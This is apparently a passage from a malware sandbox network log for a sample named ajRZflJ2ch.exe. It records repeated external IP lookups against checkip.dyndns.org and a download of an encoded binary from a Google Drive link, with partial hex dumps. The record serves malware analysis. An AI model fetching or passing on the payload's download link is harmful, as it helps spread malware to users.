Jan 10, 2025 21:17:01.515934944 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:17:01 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Jan 10, 2025 21:17:01.530189991 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 10, 2025 21:17:01.733083010 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:17:01 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Jan 10, 2025 21:17:09.659775972 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 10, 2025 21:17:09.867818117 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:17:09 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49888	132.226.247.73	80	5060	C:\Users\user\Desktop\ajRZflJ2ch.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:17:11.039938927 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 10, 2025 21:17:11.735805988 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:17:11 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49900	132.226.247.73	80	5060	C:\Users\user\Desktop\ajRZflJ2ch.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:17:12.701349020 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:17:13.391932011 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:17:13 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49912	132.226.247.73	80	5060	C:\Users\user\Desktop\ajRZflJ2ch.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:17:14.344854116 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:17:15.017756939 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:17:14 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49924	132.226.247.73	80	5060	C:\Users\user\Desktop\ajRZflJ2ch.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:17:16.002155066 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:17:16.674288034 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:17:16 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49940	132.226.247.73	80	5060	C:\Users\user\Desktop\ajRZflJ2ch.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:17:17.910092115 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:17:18.588387012 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:17:18 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.8	49952	132.226.247.73	80	5060	C:\Users\user\Desktop\ajRZflJ2ch.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:17:19.577498913 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:17:20.276863098 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:17:20 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.8	49965	132.226.247.73	80	5060	C:\Users\user\Desktop\ajRZflJ2ch.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:17:21.290628910 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:17:21.974267960 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:17:21 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.8	49978	132.226.247.73	80	5060	C:\Users\user\Desktop\ajRZflJ2ch.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:17:23.001033068 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:17:23.690236092 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:17:23 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.8	49991	132.226.247.73	80	5060	C:\Users\user\Desktop\ajRZflJ2ch.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:17:24.719990015 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:17:25.408899069 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:17:25 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.8	49997	132.226.247.73	80	5060	C:\Users\user\Desktop\ajRZflJ2ch.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:17:26.420572996 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:17:27.122813940 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:17:27 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49795	142.250.184.206	443	5060	C:\Users\user\Desktop\ajRZflJ2ch.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:16:56 UTC	216	OUT	GET /uc?export=download&id=17zh6-Wlf0aT1vS8RBy4ZmVv4fH0VS4Vd HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache
2025-01-10 20:16:56 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 20:16:56 GMT Location: https://drive.usercontent.google.com/download?id=17zh6-Wlf0aT1vS8RBy4ZmVv4fH0VS4Vd&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-zXncA7CKt1mfFqgFQlYhpQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49801	142.250.184.193	443	5060	C:\Users\user\Desktop\ajRZflJ2ch.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:16:57 UTC	258	OUT	GET /download?id=17zh6-Wlf0aT1vS8RBy4ZmVv4fH0VS4Vd&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2025-01-10 20:17:00 UTC	4950	IN	HTTP/1.1 200 OK X-GUploader-UploadID: AFIdbgSfi3XCZdmV2AVWsC__qwmjZIGTW58R3IqzlF3iGsXnrtYy6HuuhrbChTwvF5IJiMZ3hZnHQvY Content-Type: application/octet-stream Content-Security-Policy: sandbox Content-Security-Policy: default-src 'none' Content-Security-Policy: frame-ancestors 'none' X-Content-Security-Policy: sandbox Cross-Origin-Opener-Policy: same-origin Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Resource-Policy: same-site X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="WaHCeJwgVQzPCnrVxYjGR89.bin" Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: false Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, X-Ad-Manager-Impersonation, x-chrome-connected, X-ClientDetails, X-Client-Pctx, X-Client-Version, x-debug-settings-metadata, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-Firebase-Auth-Token, X-Firebase-AppCheck, X-Firebase-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-GoogA [TRUNCATED] Access-Control-Allow-Methods: GET,HEAD,OPTIONS Accept-Ranges: bytes Content-Length: 94272 Last-Modified: Wed, 11 Dec 2024 21:02:24 GMT Date: Fri, 10 Jan 2025 20:16:59 GMT Expires: Fri, 10 Jan 2025 20:16:59 GMT Cache-Control: private, max-age=0 X-Goog-Hash: crc32c=S8Y9uA== Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2025-01-10 20:17:00 UTC	4950	IN	Data Raw: d8 07 50 86 0d f7 6e cf d9 fd 9c 89 48 41 e3 b2 3e 03 e3 92 a2 69 5a 61 15 d3 48 8a ce 4b d9 a5 e4 ef bc 85 88 e5 69 b0 11 b8 9e ed 31 29 d3 0e 1f a6 6b 92 ce 65 e1 0c 7c 7a 0e 86 0c 74 3a 46 d6 e4 13 a2 02 f0 20 0b 17 73 32 70 6e 6d 22 c7 e4 e1 7e a0 3d 6c 6a 3c 33 23 17 86 83 f3 63 38 1a 9b ae bb 5b ec 85 3a 4b 59 32 3d 87 1e 7d 5a 6d 60 f2 44 5c aa bf 00 1c b3 fe 11 eb 5c 11 c7 e6 64 a3 91 fe 38 ad af 9c 92 73 55 3c f3 26 a6 8f f9 aa 06 4a 30 e3 7c 03 a0 91 4d 20 a5 57 ef e7 2a 85 e1 06 36 1d 61 39 b4 f1 a1 41 86 ba 7e fb 9f 50 be 91 8a 30 85 f2 fa 80 5c 87 cf 8a c5 30 47 c9 3f a0 22 95 1d c5 e2 e7 9a a2 30 a0 96 f8 5e de e4 f6 90 a0 60 32 36 2e b0 d7 58 41 56 19 fc a4 f5 6f 10 a2 da 7b 52 59 fb c4 0d b9 4a cc 43 cd 2f 3e da dd 4a b5 42 8b 5d c2 c1 3f Data Ascii: PnHA>iZaHKi1)ke\|zt:F s2pnm"~=lj<3#c8[:KY2=}Zm`D\\d8sU<&J0\|M W*6a9A~P0\0G?"0^`26.XAVo{RYJC/>JB]?
2025-01-10 20:17:00 UTC	4799	IN	Data Raw: 29 d3 87 30 ef 03 5c 98 4b bc 68 4c 5d 97 12 bf 74 62 75 f2 a8 e3 f1 9c 22 e0 88 bb 2e ee 24 e5 bb b4 54 1e 28 4c d3 51 77 d6 ef 5a 66 3f e6 4f 4a 9b f3 f7 d6 75 3b 07 cb a4 ea 38 e6 cb df a8 4f 35 d8 64 6c 1e 60 a0 d3 75 b8 01 4d ce 9a 10 c9 24 d8 ab a8 51 93 72 48 fd 0e fa ab 7f 56 c7 7e 6b b7 da 54 15 fe e6 ea 27 7f 72 f4 d1 c5 b0 b0 b5 3d 78 63 72 74 9e e7 f4 05 27 ac 15 9f 97 f4 3b a1 a1 e4 1f 9b 52 df 9e ba 28 59 75 c0 90 fd d5 fd 97 5b 63 04 8b 15 b8 19 76 d4 0e da 4f bb 05 8e 14 76 48 41 73 d7 ae b2 93 22 69 0e b1 bc 4d a6 4b a3 bb 00 40 c1 18 b8 76 ea f0 92 d1 86 fb 10 b8 ab bf b5 ed f8 37 75 8d be 9d e4 cc 01 f5 ab b7 01 22 d7 09 07 8c cb c8 1b 64 1d 81 aa 25 ee e3 76 0a 12 69 aa 1e 67 5f 33 00 0c 94 a1 2f d4 b9 c6 2b 5b 3f 42 d6 a3 cf bc e0 38 Data Ascii: )0\KhL]tbu".$T(LQwZf?OJu;8O5dl`uM$QrHV~kT'r=xcrt';R(Yu[cvOvHAs"iMK@v7u"d%vig_3/+[?B8
2025-01-10 20:17:00 UTC	1322	IN	Data Raw: 13 93 9a 5c ad 5f b1 90 67 f2 75 f9 f0 50 e5 a4 b0 b4 33 ef 56 c2 68 c7 8c 27 26 11 2f 0d 68 05 22 4f 85 80 35 22 76 cc af 96 29 f4 22 60 eb e6 e8 8f b6 0a 72 ea 1a e2 77 35 b3 98 eb 5b 33 5c de 5d 13 de 3a 67 bc 5c 65 61 0b 6c 66 55 9f be a8 0b 9b 5a 18 f2 bd d4 2f 68 9d 41 f3 34 76 9a 86 14 b2 ee c4 ad 2f 94 8f 19 0f 79 4c 81 37 72 c5 1a 0c d5 86 92 ca 41 f5 64 8f 46 4e 8c a4 11 ee 97 4b a2 0c 25 15 6b 8e 5b b3 eb bf 5e 2d 90 46 bf 1b 4f 12 b7 07 64 62 ac d6 5a 1a 34 73 a6 c3 f6 c2 ba 24 12 18 ae b2 4a d0 78 7e bf 14 bc e5 8a 96 46 80 0d a9 12 44 af 9e f9 58 f5 e3 7c 2b 0e cb 43 d2 9f dc 29 d9 f6 a7 85 c4 f2 a1 e9 86 1a 3d ad 73 64 f8 cb 05 85 0d 85 92 da 08 01 a3 35 27 1c f2 bf c3 ab 03 03 7c 0f 0a 61 1f 33 b7 2f 9a 01 08 d9 a3 75 09 1a ec 2f 2e a8 42 Data Ascii: \_guP3Vh'&/h"O5"v)"`rw5[3\]:g\ealfUZ/hA4v/yL7rAdFNK%k[^-FOdbZ4s$Jx~FDX\|+C)=sd5'\|a3/u/.B
2025-01-10 20:17:00 UTC	1390	IN	Data Raw: 9a a9 a2 e5 40 78 6c f3 51 e6 bb 80 f7 09 68 a2 a2 ef b8 a9 49 61 1b ea 5a 8e bd 82 b7 ec 66 01 f0 26 a9 36 69 40 36 84 92 52 65 79 fa 77 cf fb 6c 6a 3a d1 06 0b f4 e3 e6 63 48 b8 b3 0e bb 5b e6 96 3e 35 56 32 3d 83 0f 79 72 23 60 f2 4e dc a5 bf 00 18 b3 ec 13 43 81 11 c7 e2 68 1c 8e fb a1 35 bc b2 38 70 e7 e7 de 72 ce fd e5 8b 76 38 55 84 d2 62 e6 b3 2e 41 e1 38 90 93 0a e5 84 3b 44 12 98 19 d2 9f 81 05 c9 f2 6e 9c f0 7e d8 bf 87 11 8f d6 eb 80 2f 5e cf 8a cf 6b 18 44 00 ec 23 97 38 64 aa 58 3e a2 40 02 b3 ef 2c 38 f1 16 e0 00 44 21 45 7c a6 d7 4e e2 73 00 86 ba e3 6f 60 00 d6 b1 c4 5c e1 49 bc b9 4a cd c6 da 51 e0 da 9d 40 c7 58 9d 5d b2 ac e0 1d b7 c4 80 e2 1d 6c 6d 8f d5 ce c8 e4 aa db e8 77 09 57 08 d1 94 73 41 fa 25 59 a4 ec 71 ea 98 12 00 2f 2f 69 Data Ascii: @xlQhIaZf&6i@6Reywlj:cH[>5V2=yr#`NCh58prv8Ub.A8;Dn~/^kD#8dX>@,8D!E\|Nso`\IJQ@X]lmwWsA%Yq//i
2025-01-10 20:17:00 UTC	1390	IN	Data Raw: 45 f7 4a da 4f b6 42 f1 14 76 48 52 6e c7 cf bb ac cb 1b 70 ac ad 41 b3 34 ab a3 0e 21 e7 2c 56 76 e0 95 12 de 97 ff 01 c8 cb ef af e9 fb cc 9e 8d b4 84 f4 0b 68 75 3e b7 0b 3b d6 1f 66 68 9f d2 11 14 4b ef aa 25 e0 83 f0 1b 03 7a ca e6 19 44 39 13 1a f7 2f 4b 25 c9 d0 09 6d 2c 51 cd a6 26 67 e4 e7 f8 1a 0e 4c 5d 01 d9 c6 bd 7f 60 06 b4 7d a7 78 3b 3c e1 04 f1 98 96 39 77 c0 b6 0b 65 9c b4 51 00 14 bc 0c 47 7b 73 a4 de 84 3d 21 ea a1 60 0b cd 8c 6a 2b d1 75 df 97 5e 5d 8e 82 16 3b d6 b9 59 12 f8 29 45 91 be 8c bc e3 2d 22 30 e2 ee c2 4b 65 01 88 d8 48 d3 94 4c 1c e1 fb 7a dc ae 84 c4 72 e9 8a 81 00 94 a6 8d 40 66 d2 dd e5 72 b3 6c ff ec fa 96 ab be 6e 50 c6 fd 3b cc c6 49 c3 11 27 5f 6f dc 16 07 17 ea de cf 5e 7b e9 6d e1 c0 c0 32 77 63 c6 4e 3e 24 5b b6 Data Ascii: EJOBvHRnpA4!,Vvhu>;fhK%zD9/K%m,Q&gL]`}x;<9weQG{s=!`j+u^];Y)E-"0KeHLzr@frlnP;I'_o^{m2wcN>$[
2025-01-10 20:17:00 UTC	1390	IN	Data Raw: 6e 4b 96 ee 47 5a 34 12 03 09 ed 5d 6b 8f a0 78 ae 6e 64 44 83 11 5d 97 f6 d4 b2 6b a5 2f ca ef a4 d1 d8 df d8 47 68 8c f1 c4 70 c8 52 89 b1 eb 2b c9 cf df f5 b3 1c 0b ad b3 af 89 6f f4 82 47 16 32 e8 97 f8 85 ec 06 10 98 dc 1d 45 29 f2 49 9a 31 fc 52 05 cf 06 c4 97 1f ec 13 a6 29 0a 3a 21 8b 93 8a 77 2c 2b 93 01 8b 3d 74 ab 63 c5 24 37 8a b5 e5 37 f4 08 6e 12 53 e4 26 b5 5a d8 1e d6 e9 3f 99 9f 7e c9 80 2a 9d f5 b1 1c c3 74 98 db 04 15 2f b0 63 18 29 1d 8f 6b 56 a9 d0 43 b9 7b b5 6b 85 9b 1d d2 99 6e 28 f0 bd e6 9d c4 57 da 41 90 76 79 cb 9a 75 e9 46 d6 c3 fd 5b 74 aa d8 27 c9 8b 0a 59 51 37 95 08 68 89 a8 d6 76 d0 ae ac 5a ea 6b 4a 14 d6 86 53 b8 4b 09 5b 56 e3 8c 15 a4 ab 13 58 20 2c a4 13 94 f4 80 6f 0c 62 1f b3 5f 13 18 0c 87 a7 b0 27 33 b2 92 36 7b Data Ascii: 